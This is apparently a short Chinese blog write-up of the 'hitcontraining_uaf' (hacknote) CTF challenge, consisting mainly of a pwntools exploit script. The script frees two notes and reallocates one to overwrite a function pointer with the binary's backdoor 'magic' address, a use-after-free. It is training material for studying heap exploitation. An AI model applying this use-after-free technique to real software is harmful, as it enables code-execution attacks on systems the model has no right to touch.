hitcontraining_uaf[use after free]

系统管理员 2023-02-22 08:27 128阅读 0赞

在这里插入图片描述
比较简单，直接留了后门！
exp

  1. from pwn import *
  3. context.log_level = 'debug'
  5. def pause_debug():
  6.     log.info(proc.pidof(p))
  7.     pause()
  9. def add_note(size, context):
  10.     p.sendlineafter('choice :', str(1))
  11.     p.sendlineafter('size :', str(size))
  12.     p.sendafter('Content :', context)
  14. def delete_note(idx):
  15.     p.sendlineafter('choice :', str(2))
  16.     p.sendlineafter('Index :', str(idx))
  18. def print_note(idx):
  19.     p.sendlineafter('choice :', str(3))
  20.     p.sendlineafter('Index :', str(idx))
  22. proc_name = './hacknote'
  23. p = process(proc_name)
  24. # p = remote('node3.buuoj.cn', 27556) 
  25. elf = ELF(proc_name)
  26. magic_addr = elf.sym['magic']
  27. add_note(0x16, b'a') # 0 
  28. add_note(0x16, b'a') # 1 
  29. delete_note(0)
  30. delete_note(1)
  31. add_note(0x8, p32(magic_addr)) # 2 0
  32. print_note(0)
  33. p.interactive()

在这里插入图片描述

发表评论

表情：
评论列表 （有 0 条评论，128人围观）

还没有评论，来说两句吧...

相关阅读

    相关 free()

    c语言中经常需要给指针变量分配内存空间，需要用到一组函数： malloc（）和free（） 使用的时候需要包含头文件stdlib.h malloc（）比较好理解，主

    ╰半夏微凉°╰半夏微凉°/ 0 赞/ 118 阅读

    相关 Free

    Free无论是译作“自由”还是“免费”对于使用者来说似乎都有好处，但当自己处于开发者或开发厂商的角度，可能就是“双重标准”了，毕竟没有几个人能像Linus那样Just F...

    小灰灰小灰灰/ 0 赞/ 560 阅读